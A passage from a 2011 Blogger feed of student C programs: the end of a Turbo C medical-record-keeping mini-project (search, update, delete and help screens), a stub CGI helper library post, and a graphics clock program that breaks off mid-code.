/&gt;cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt;ÄÄÄÄÄÄÄÄ");&lt;br /&gt;rewind(ft);&lt;br /&gt;while(fread(&amp;out,sizeof(out),1,ft)==1)&lt;br /&gt;{&lt;br /&gt;if(strcmp(id,out.patientno)==0)&lt;br /&gt;{&lt;br /&gt;textcolor(10);&lt;br /&gt;textbackground(8);&lt;br /&gt;highvideo();&lt;br /&gt;gotoxy(6,8);&lt;br /&gt;fflush(stdin);&lt;br /&gt;cprintf("&lt;br /&gt;&lt;br /&gt;Patient Name-&gt;%s",out.patient);&lt;br /&gt;gotoxy(6,10);&lt;br /&gt;cprintf("&lt;br /&gt;&lt;br /&gt;Patient Age-&gt;%d",out.age);&lt;br /&gt;gotoxy(6,12);&lt;br /&gt;fflush(stdin);&lt;br /&gt;cprintf("&lt;br /&gt;&lt;br /&gt;Patient Sex-&gt;%s",out.sex1);&lt;br /&gt;gotoxy(6,14);&lt;br /&gt;fflush(stdin);&lt;br /&gt;cprintf("&lt;br /&gt;&lt;br /&gt;Medicine given-&gt;%s",out.medicine);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;textcolor(10);&lt;br /&gt;highvideo();&lt;br /&gt;if(strcmp(id,out.patientno)!=0)&lt;br /&gt;{&lt;br /&gt;textcolor(10);&lt;br /&gt;gotoxy(6,10);&lt;br /&gt;cprintf("&lt;br /&gt;&lt;br /&gt; SORRY,RECORD NOT PRESENT");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;fclose(ft);&lt;br /&gt;gotoxy(22,21);&lt;br /&gt;cprintf("&lt;br /&gt;&lt;br /&gt; WANT TO SEARCH ANOTHER RECORD(y/n)-&gt;");&lt;br /&gt;fflush(stdin);&lt;br /&gt;another=getche();&lt;br /&gt;}while((another=='y')||(another=='Y'));&lt;br /&gt;textbackground(6);&lt;br /&gt;textcolor(10+BLINK);&lt;br /&gt;gotoxy(17,23);&lt;br /&gt;cprintf("&lt;br /&gt;&lt;br /&gt; Press M to Return to Main Menu and Esc to Exit....");&lt;br /&gt;a=getch();&lt;br /&gt;if(a==109)&lt;br /&gt;{&lt;br /&gt;main();&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*************************************************************************&lt;br /&gt;**/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*****************************UPDATE RECORD FOR&lt;br /&gt;Outsiders********************/&lt;br /&gt; UPDATEOUT()&lt;br /&gt;{&lt;br /&gt; if(x&gt;=192&amp;&amp;y==96&amp;&amp;x&lt;=304&amp;&amp;y==96) { ft=fopen("medical2.dat","r+");if(ft==NULL){  ft=fopen("medical2.dat","w+");      if(ft==NULL)  {   printf("cannot open file");  }} do { textcolor(7); textbackground(8); clrscr(); restrictmouseptr(); hidemouseptr(); _setcursortype(_SOLIDCURSOR); textcolor(7); highvideo(); printf("Enter Patient No to Modify-&gt;");&lt;br /&gt; fflush(stdin);&lt;br /&gt; gets(updateno);&lt;br /&gt; printf("&lt;br /&gt;&lt;br /&gt;Enter Patient Name-&gt;");&lt;br /&gt; fflush(stdin);&lt;br /&gt; gets(update);&lt;br /&gt; clrscr();&lt;br /&gt; rewind(ft);&lt;br /&gt;while(fread(&amp;out,sizeof(out),1,ft)==1)&lt;br /&gt;{&lt;br /&gt; if(strcmp(updateno,out.patientno)==0)&lt;br /&gt; {&lt;br /&gt;gotoxy(2,2);&lt;br /&gt;textcolor(BLACK+BLINK);&lt;br /&gt;textbackground(WHITE);&lt;br /&gt;lowvideo();&lt;br /&gt;cprintf("                            UPDATE PATIENT ENTRY&lt;br /&gt;");&lt;br /&gt;textcolor(10);&lt;br /&gt;textbackground(8);&lt;br /&gt;highvideo();&lt;br /&gt;gotoxy(3,3);&lt;br /&gt;cprintf("Ú");&lt;br /&gt;gotoxy(4,2);&lt;br /&gt;cprintf("&lt;br /&gt;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;br /&gt;ÄÄÄÄÄÄÄÄÄÄ");&lt;br /&gt;gotoxy(77,3);&lt;br /&gt;cprintf("¿");&lt;br /&gt;for(a=4;a&lt;20;a++){gotoxy(3,a);cprintf("³");}for(a=4;a&lt;20;a++){gotoxy(77,a);cprintf("³");}gotoxy(3,20);cprintf("À");gotoxy(77,20);cprintf("Ù");gotoxy(4,20);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(a=3;a&lt;21;a++){gotoxy(2,a);textcolor(7);cprintf("Û");}for(a=3;a&lt;21;a++){gotoxy(78,a);textcolor(7);cprintf("Û");}for(a=2;a&lt;79;a++){gotoxy(a,21);textcolor(7);cprintf("Û");}//textcolor(10);//textbackground(8);gotoxy(6,4);cprintf("Patient Number #");gotoxy(6,6);cprintf("Date-&gt;");&lt;br /&gt;gotoxy(6,8);&lt;br /&gt;cprintf("Patient Name-&gt;");&lt;br /&gt;gotoxy(6,10);&lt;br /&gt;cprintf("Age-&gt;");&lt;br /&gt;gotoxy(6,12);&lt;br /&gt;cprintf("Sex(M/F)-&gt;");&lt;br /&gt;gotoxy(6,14);&lt;br /&gt;cprintf("");&lt;br /&gt;gotoxy(6,16);&lt;br /&gt;cprintf("Medicine Desc.-&gt;");&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                    ");&lt;br /&gt;gotoxy(22,4);&lt;br /&gt;flag=1;&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(out.patientno);&lt;br /&gt;if(strlen(out.patientno)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;cprintf("PATIENT NO. CANNOT BE LEFT BLANK");&lt;br /&gt;getch();}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                       ");&lt;br /&gt;gotoxy(12,6);&lt;br /&gt;flag=1;&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(out.date);&lt;br /&gt;if(strlen(out.date)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;cprintf("DATE CAN NOT SET BLANK");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                         ");&lt;br /&gt;textcolor(7);&lt;br /&gt;highvideo();&lt;br /&gt;gotoxy(20,8);&lt;br /&gt;cprintf("                                                         ");&lt;br /&gt;flag=1;&lt;br /&gt;gotoxy(20,8);&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(out.patient);&lt;br /&gt;if(strlen(out.patient)==0 || strlen(out.patient)&gt;25)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;cprintf("PATIENT NAME CAN NOT SET BLANK OR &gt;25");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;gotoxy(11,10);&lt;br /&gt;fflush(stdin);&lt;br /&gt;scanf("%d",&amp;out.age);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;gotoxy(16,12);&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(out.sex1);&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                         ");&lt;br /&gt;flag=1;&lt;br /&gt;gotoxy(22,16);&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(out.medicine);&lt;br /&gt;if(strlen(out.medicine)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;sound(2500);&lt;br /&gt;delay(300);&lt;br /&gt;nosound();&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;textcolor(10);&lt;br /&gt;highvideo();&lt;br /&gt;cprintf("THIS FIELD CAN NOT BE SET BLANK");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;fseek(ft,sizeof(out),SEEK_CUR);&lt;br /&gt;fwrite(&amp;out,sizeof(out),1,ft);&lt;br /&gt;break;&lt;br /&gt;     }&lt;br /&gt;}&lt;br /&gt;fclose(ft);&lt;br /&gt;textcolor(10);&lt;br /&gt;highvideo();&lt;br /&gt;gotoxy(22,22);&lt;br /&gt;cprintf("WANT TO MODIFY ANOTHER RECORD-&gt;");&lt;br /&gt;fflush(stdin);&lt;br /&gt;another1=getche();&lt;br /&gt;}while((another1=='y')||(another1=='Y'));&lt;br /&gt;textbackground(6);&lt;br /&gt;gotoxy(12,24);&lt;br /&gt;cprintf(" Press M to Return to "MAIN MENU" or Esc to "EXIT".....&lt;br /&gt;");&lt;br /&gt;a=getch();&lt;br /&gt;if(a==109)&lt;br /&gt;{&lt;br /&gt;main();&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;}//If statement for Outsiders Patient entry completed&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*************************************************************************&lt;br /&gt;**/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/***************************Delete records Form For&lt;br /&gt;outsiders***************/&lt;br /&gt; DELETEOUT()&lt;br /&gt;{&lt;br /&gt; if(x&gt;=192&amp;&amp;y==88&amp;&amp;x&lt;=304&amp;&amp;y==88) { ft=fopen("medical2.dat","r+");if(ft==NULL){  ft=fopen("medical2.dat","w+");      if(ft==NULL)  {   printf("cannot open file");  }} do { textbackground(8); textcolor(7); highvideo(); clrscr(); restrictmouseptr1(); hidemouseptr(); _setcursortype(_SOLIDCURSOR); textcolor(10); gotoxy(4,7); cprintf("Ú"); gotoxy(77,7); cprintf("¿"); for(a=8;a&lt;20;a++) { gotoxy(4,a); cprintf("³"); } for(a=8;a&lt;20;a++) { gotoxy(77,a); cprintf("³"); } gotoxy(4,20); cprintf("À"); gotoxy(77,20); cprintf("Ù"); textcolor(8+BLINK); textbackground(7); lowvideo(); gotoxy(4,6); cprintf("                      DELETE OUTSIDER PATIENT RECORD"); textcolor(7); textbackground(8); highvideo(); for(a=3;a&lt;79;a++) { for(b=5;b&lt;6;b++) { gotoxy(a,b); cprintf("Û"); }} for(a=3;a&lt;79;a++) { for(b=21;b&lt;23;b++) { gotoxy(a,b); cprintf("Û"); }} for(b=6;b&lt;22;b++) { gotoxy(3,b); cprintf("Û"); } for(b=6;b&lt;22;b++) { gotoxy(78,b); cprintf("Û"); } textcolor(10); highvideo(); gotoxy(5,7);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ"); gotoxy(5,20);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ"); textcolor(10); highvideo(); gotoxy(6,9); cprintf("Enter Patient No. to Delete-&gt;");&lt;br /&gt; fflush(stdin);&lt;br /&gt; gets(del);&lt;br /&gt; fpt=fopen("medical6.dat","w+");&lt;br /&gt; rewind(ft);&lt;br /&gt; while(fread(&amp;out,sizeof(out),1,ft)==1)&lt;br /&gt; {&lt;br /&gt; if(strcmp(out.patientno,del)!=0)&lt;br /&gt; fwrite(&amp;out,sizeof(out),1,fpt);&lt;br /&gt; }&lt;br /&gt; fclose(ft);&lt;br /&gt; fclose(fpt);&lt;br /&gt; remove("medical2.dat");&lt;br /&gt; rename("medical6.dat","medical2.dat");&lt;br /&gt; ft=fopen("medical2.dat","r+");&lt;br /&gt; fclose(ft);&lt;br /&gt; //fclose(fpt);&lt;br /&gt; gotoxy(24,12);&lt;br /&gt; cprintf("RECORD DELETED SUCCESSFULY");&lt;br /&gt; gotoxy(18,14);&lt;br /&gt; cprintf("WANT TO DELETE ANOTHER RECORD(y/n)-&gt;");&lt;br /&gt; fflush(stdin);&lt;br /&gt; another2=getche();&lt;br /&gt; }while((another2=='y')||(another2=='Y'));&lt;br /&gt; gotoxy(16,19);&lt;br /&gt; textbackground(6);&lt;br /&gt; cprintf(" Press M to Return to Main Menu or Esc to Exit.... ");&lt;br /&gt; a=getch();&lt;br /&gt;if(a==109)&lt;br /&gt;{&lt;br /&gt;main();&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*************************************************************************&lt;br /&gt;**/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/****************************HELP&lt;br /&gt;TOPICS*************************************/&lt;br /&gt;HELPTOPICS()&lt;br /&gt;{&lt;br /&gt;//IF statement for HELP TOPICS started&lt;br /&gt;if(x&gt;=344&amp;&amp;y==56&amp;&amp;x&lt;=456&amp;&amp;y==56){textbackground(1);textcolor(10);clrscr();restrictmouseptr();hidemouseptr();lowvideo();_setcursortype(_NOCURSOR);textcolor(YELLOW+BLINK);textbackground(4);gotoxy(1,1);cprintf("              WELCOME TO MEDICAL RECORD KEEPING SYSTEM " HELP"                 ");textcolor(10);textbackground(1);highvideo();gotoxy(2,3);cprintf("This system is built using mouse programming and drop downmenus.");gotoxy(2,4);cprintf("In this system you can Enter 'n' No. of Records.");gotoxy(2,6);cprintf("1 First option "FILE" can be selected by clicking on it.Clickevent will show a drop down menu,in which you can select any one of theoptions.First       option is " ADD EMP .RECORD " which is used to adddetails about employee.The   second option is" NEW ENTRY "which isused to enter the new record about        patient.The third option is"SEARCH RECORD" which is used to search the record  of any patient.");gotoxy(2,13);cprintf("2 Second menu is "EDIT",can be selected by clicking on it.theFirst option in   drop down menu is"DELETE RECORD"which is used todelete a particular record of  any patient.The second option is"SEARCHRECORD" which is used to search the     record of a particular patient.");gotoxy(2,18);cprintf("3 Third menu is "HELP",which provide you information aboutusing the system.");gotoxy(2,20);cprintf("4 Fourth menu is "EXIT", used to quit from the system");textcolor(YELLOW);textbackground(RED);highvideo();gotoxy(2,25);cprintf("              Press Esc key to quit or M to return to MainMenu...            ");a=getch();if(a==109){for(a=25;a&gt;0;a--)&lt;br /&gt;{&lt;br /&gt;delay(10);&lt;br /&gt;textbackground(8);&lt;br /&gt;gotoxy(1,a);&lt;br /&gt;cprintf("&lt;br /&gt;");&lt;br /&gt;}&lt;br /&gt;main();&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;for(a=25;a&gt;0;a--)&lt;br /&gt;{&lt;br /&gt;delay(10);&lt;br /&gt;textbackground(8);&lt;br /&gt;gotoxy(1,a);&lt;br /&gt;cprintf("&lt;br /&gt;");&lt;br /&gt;}&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*************************************************************************&lt;br /&gt;**/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/********************************About....********************************&lt;br /&gt;***/&lt;br /&gt;ABOUT()&lt;br /&gt;{&lt;br /&gt;if(x&gt;=344&amp;&amp;y==64&amp;&amp;x&lt;=456&amp;&amp;y==64)&lt;br /&gt;{&lt;br /&gt;//For HELP menu&lt;br /&gt;gotoxy(47,5);&lt;br /&gt;textcolor(BLACK);&lt;br /&gt;textbackground(RED);&lt;br /&gt;cprintf(" HELP ");&lt;br /&gt;gotoxy(42,6);&lt;br /&gt;highvideo();&lt;br /&gt;textcolor(WHITE);&lt;br /&gt;textbackground(1);&lt;br /&gt;cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");&lt;br /&gt;for(b=7;b&lt;13;b++)&lt;br /&gt;{&lt;br /&gt;gotoxy(41,b);&lt;br /&gt;textbackground(1);&lt;br /&gt;cprintf("                        ");&lt;br /&gt;}//HELP menu ended&lt;br /&gt;&lt;br /&gt;textcolor(10);&lt;br /&gt;textbackground(RED);&lt;br /&gt;highvideo();&lt;br /&gt;for(a=25;a&lt;=47;a++)&lt;br /&gt;{&lt;br /&gt;gotoxy(a,17);&lt;br /&gt;cprintf("Ä");&lt;br /&gt;}&lt;br /&gt;gotoxy(39,48);&lt;br /&gt;cprintf("¿");&lt;br /&gt;gotoxy(24,17);&lt;br /&gt;cprintf("Ú");&lt;br /&gt;&lt;br /&gt;for(b=18;b&lt;23;b++)&lt;br /&gt;{&lt;br /&gt;gotoxy(24,b);&lt;br /&gt;cprintf("³");&lt;br /&gt;}&lt;br /&gt;gotoxy(24,23);&lt;br /&gt;cprintf("À");&lt;br /&gt;for(a=25;a&lt;48;a++)&lt;br /&gt;{&lt;br /&gt;gotoxy(a,b=23);&lt;br /&gt;cprintf("Ä");&lt;br /&gt;}&lt;br /&gt;gotoxy(48,23);&lt;br /&gt;cprintf("Ù");&lt;br /&gt;for(b=18;b&lt;23;b++)&lt;br /&gt;{&lt;br /&gt;gotoxy(a=48,b);&lt;br /&gt;cprintf("³");&lt;br /&gt;}&lt;br /&gt;gotoxy(25,18);&lt;br /&gt;cprintf("      CREATED BY-:     ");&lt;br /&gt;gotoxy(25,19);&lt;br /&gt;cprintf("                       ");&lt;br /&gt;gotoxy(25,20);&lt;br /&gt;cprintf("    AMANJEET  SINGH    ");&lt;br /&gt;gotoxy(25,21);&lt;br /&gt;cprintf("      BCA IV Sem.      ");&lt;br /&gt;gotoxy(25,22);&lt;br /&gt;cprintf("     IMS,DEHRADUN      ");&lt;br /&gt;}&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-2189931184516135642?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/2189931184516135642/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/medical-record-keeping-system-mini.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/2189931184516135642'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/2189931184516135642'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/medical-record-keeping-system-mini.html' title='Medical record keeping system (Mini Project in C)'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-6907818860834189080</id><published>2011-03-20T20:18:00.001-07:00</published><updated>2011-03-20T20:18:29.658-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='graphics'/><title type='text'>Library of CGI related functions</title><content type='html'>/*THIS FILE CONTAINS GENERAL CGI RELATED FUNCTIONS&lt;br /&gt;      FOR USE WITH CGI AND RELATED APPLICATIONS.&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#include&lt;stdio.h&gt;&lt;br /&gt;#include&lt;stdlib.h&gt;&lt;br /&gt;#include&lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*PROTOTYPES*/&lt;br /&gt;typedef struct name_val_pair name_val_pair;&lt;br /&gt;int readn(char *str,int n,FILE *stream);&lt;br /&gt;int replaceall(char *src, const char *find, const char *rep);&lt;br /&gt;char* geturlstr(void);&lt;br /&gt;void decode(char *url);&lt;br /&gt;void rem_ssi(char *chkstr);&lt;br /&gt;name_val_pair* name_val(char *url);&lt;br /&gt;long givcount(char*);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*A GENERAL PURPOSE FUNCTION WHICH READS N CHARACTERS FROM STREAM AND&lt;br /&gt;  APPENDS '&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-6907818860834189080?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/6907818860834189080/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/library-of-cgi-related-functions.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6907818860834189080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/6907818860834189080'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/library-of-cgi-related-functions.html' title='Library of CGI related functions'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-8037670092458613837</id><published>2011-03-20T20:17:00.003-07:00</published><updated>2011-03-20T20:17:53.932-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='graphics'/><title type='text'>CLOCK PROGRAM in C</title><content type='html'>Code :&lt;br /&gt;#include stdio.h&lt;br /&gt;#include conio.h&lt;br /&gt;#include stdlib.h&lt;br /&gt;#include graphics.h&lt;br /&gt;#include dos.h&lt;br /&gt;#include math.h&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt; struct  time t;&lt;br /&gt; void drawclock(void);&lt;br /&gt; void intro(void);&lt;br /&gt; void sound(void);&lt;br /&gt; int gdriver=DETECT,gmode;&lt;br /&gt; initgraph(&amp;gdriver,&amp;gmode,"D:\tc\bgi");&lt;br /&gt; int i,j,k,s,m,h;&lt;br /&gt; intro();&lt;br /&gt; settextstyle(DEFAULT_FONT, HORIZ_DIR, 1);&lt;br /&gt; drawclock();&lt;br /&gt; gettime(&amp;t);&lt;br /&gt;&lt;br /&gt; if(t.ti_sec&gt;15)&lt;br /&gt;   s=360-((t.ti_sec-15)*6);&lt;br /&gt; else&lt;br /&gt;   s=90-(t.ti_sec*6);&lt;br /&gt;&lt;br /&gt; if(t.ti_min&gt;15)&lt;br /&gt;   m=360-((t.ti_min-15)*6);&lt;br /&gt; else&lt;br /&gt;   m=90-(t.ti_min*6);&lt;br /&gt;&lt;br /&gt; if( (t.ti_hour==0)||(t.ti_hour==1)||(t.ti_hour==2)||(t.ti_hour==3))&lt;br /&gt;    h=90-(t.ti_hour*30)-((t.ti_min/12)*6);&lt;br /&gt; else if((t.ti_hour&gt;=4)&amp;&amp;(t.ti_hour&lt;=12))   h=360-((t.ti_hour-3)*30)-((t.ti_min/12)*6); else if((t.ti_hour&gt;=13)&amp;&amp;(t.ti_hour&lt;=23))&lt;br /&gt;   h=360-((t.ti_hour-15)*30)-((t.ti_min/12)*6);&lt;br /&gt; else// if(t.ti_hour==12)&lt;br /&gt;   h=90-((t.ti_hour-12)*30)-((t.ti_min/12)*6);&lt;br /&gt;&lt;br /&gt; for(k=0;k&lt;=12;k++)&lt;br /&gt; {&lt;br /&gt;  if(h==0)&lt;br /&gt;   h=360;&lt;br /&gt;   delay(1000);&lt;br /&gt;   drawclock();&lt;br /&gt;   for(j=0;j&lt;=60;j++)&lt;br /&gt;   {&lt;br /&gt;     if(m==0)&lt;br /&gt;       m=360;&lt;br /&gt;     setcolor(4);&lt;br /&gt;     sector(320,150,m,m+1,75,75);&lt;br /&gt;     m=m-6;&lt;br /&gt;     delay(1000);&lt;br /&gt;     drawclock();&lt;br /&gt;     for(i=0;i&lt;=60;i++)&lt;br /&gt;     {&lt;br /&gt;     setcolor(4);&lt;br /&gt;     sector(320,150,h,h+3,60,60);&lt;br /&gt;       setcolor(4);&lt;br /&gt;       sector(320,150,m,m+1,75,75);&lt;br /&gt; if(s==0)&lt;br /&gt;   s=360;&lt;br /&gt;   setcolor(1);&lt;br /&gt;   sector(320,150,s,s+1,80,80);&lt;br /&gt; sound();&lt;br /&gt; s=s-6;&lt;br /&gt; delay(1000);&lt;br /&gt; drawclock();&lt;br /&gt;      if(kbhit())&lt;br /&gt; exit(0);&lt;br /&gt;     }&lt;br /&gt;      setcolor(6);&lt;br /&gt;      sector(320,150,h,h+3,60,60);&lt;br /&gt;   }&lt;br /&gt; }&lt;br /&gt; getch();&lt;br /&gt;}&lt;br /&gt;void drawclock()&lt;br /&gt;{&lt;br /&gt; cleardevice();&lt;br /&gt; setbkcolor(15);&lt;br /&gt; setcolor(1);&lt;br /&gt; circle(320,150,80);&lt;br /&gt; setcolor(5);&lt;br /&gt; circle(320,150,95);&lt;br /&gt; circle(320,150,1);&lt;br /&gt; outtextxy(314,58,"12");&lt;br /&gt; outtextxy(268,70,"11");&lt;br /&gt; outtextxy(235,105,"10");&lt;br /&gt; outtextxy(233,147,"9");&lt;br /&gt; outtextxy(241,190,"8");&lt;br /&gt; outtextxy(273,225,"7");&lt;br /&gt; outtextxy(318,238,"6");&lt;br /&gt; outtextxy(362,225,"5");&lt;br /&gt; outtextxy(392,190,"4");&lt;br /&gt; outtextxy(403,147,"3");&lt;br /&gt; outtextxy(393,105,"2");&lt;br /&gt; outtextxy(361,70,"1");&lt;br /&gt; outtextxy(302,200,"TILAK");&lt;br /&gt;}&lt;br /&gt;void intro()&lt;br /&gt;{&lt;br /&gt; int i;&lt;br /&gt; int u=installuserfont("TSCR.CHR");&lt;br /&gt; settextstyle(u,0,7);&lt;br /&gt; outtextxy(175,100,"TILAK's");&lt;br /&gt; outtextxy(250,200,"CLOCK");&lt;br /&gt; settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);&lt;br /&gt; outtextxy(380,400,"Loading..");&lt;br /&gt;&lt;br /&gt; for(i=0;i&lt;510;i++)&lt;br /&gt; {&lt;br /&gt;   setcolor(15);&lt;br /&gt;   rectangle(50,100,50+i,110);&lt;br /&gt;   delay(5);&lt;br /&gt; }&lt;br /&gt; settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);&lt;br /&gt; outtextxy(380,400,"Loading....");&lt;br /&gt;&lt;br /&gt; for( i=0;i&lt;510;i++)&lt;br /&gt; {&lt;br /&gt;   setcolor(4);&lt;br /&gt;   rectangle(50,100,50+i,110);&lt;br /&gt;   delay(5);&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);&lt;br /&gt; outtextxy(380,400,"Loading......");&lt;br /&gt;&lt;br /&gt; for(i=0;i&lt;510;i++)&lt;br /&gt; {&lt;br /&gt;   setcolor(15);&lt;br /&gt;   rectangle(50,200,50+i,210);&lt;br /&gt;   delay(5);&lt;br /&gt; }&lt;br /&gt; settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);&lt;br /&gt; outtextxy(380,400,"Loading........");&lt;br /&gt;&lt;br /&gt; setfillstyle(SOLID_FILL,1);&lt;br /&gt; fillellipse(320,205,6,6);&lt;br /&gt; settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);&lt;br /&gt; outtextxy(380,400,"Loading..........");&lt;br /&gt;&lt;br /&gt; for(i=0;i&lt;510;i++)&lt;br /&gt; {&lt;br /&gt;   setcolor(15);&lt;br /&gt;   rectangle(50,300,50+i,310);&lt;br /&gt;   delay(5);&lt;br /&gt; }&lt;br /&gt; settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);&lt;br /&gt; outtextxy(380,400,"Loading............");&lt;br /&gt;&lt;br /&gt; for( i=0;i&lt;510;i++)&lt;br /&gt; {&lt;br /&gt;   setcolor(2);&lt;br /&gt;   